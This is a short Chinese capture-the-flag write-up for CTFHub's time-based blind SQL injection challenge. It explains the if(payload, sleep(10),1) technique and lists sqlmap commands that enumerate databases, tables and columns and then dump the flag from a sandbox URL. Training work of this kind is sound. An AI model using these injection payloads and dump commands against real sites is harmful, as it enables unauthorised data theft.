CTFHUB-WEB-SQL注入-时间盲注 CTF

时间盲注手工注入时，可根据程序执行时间判断是否执行成功。
使用的函数：
if(payload, sleep(10),1) 如果payload成功，程序暂停10秒，否则立即执行
题目：
文章图片

靶机环境：输入1不会显现信息，也不会提示错误

文章图片

使用sqlmap工具进行注入： 【CTFHUB-WEB-SQL注入-时间盲注】获取数据库名：
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –dbs

文章图片

获取表名：
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –D sqli –tables
获取列名：
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –D sqli –T flag –columns
获取字段值
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –D sqli –T flag –C flag --dump

文章图片

CTFHUB-WEB-SQL注入-时间盲注

推荐阅读

文山专利权属纠纷律师费如何计算

美的JZT燃气灶不出气维修报价

仙草冻怎么做好吃仙草冻的做法教程

小米手机|这一款十分良心的手机，销量已破3000万，值得大家入手

宫腔镜|宫腔镜，微创的诊疗技术，可用于哪些情况？

菜鸟教程css3，菜鸟教程css测试题

软件测试基础（1）

木乐念什么由木乐组成的字念什么

如何看懂野兔走的路

商标审核通过多久能拿到证商标审核不通过费用多少，商标申请查询

馒头放冰箱会影响口感吗？如何正确保存馒头？

花椒直播怎么弄特效花椒直播特效直播使用方法

PHP Ds Vector count（）函数用法介绍

铁甲钢拳影评铁甲钢拳影评1000字

正规的文字录入兼职打字兼职是真的吗

中医症状规范化研究现状的思考

怎么煮羊肉汤怎么煮羊肉汤好喝窍门

亲爱的你在哪里媛媛到底去哪了

B站为什么亏损？

10万左右的质量好的轿车有什么推荐？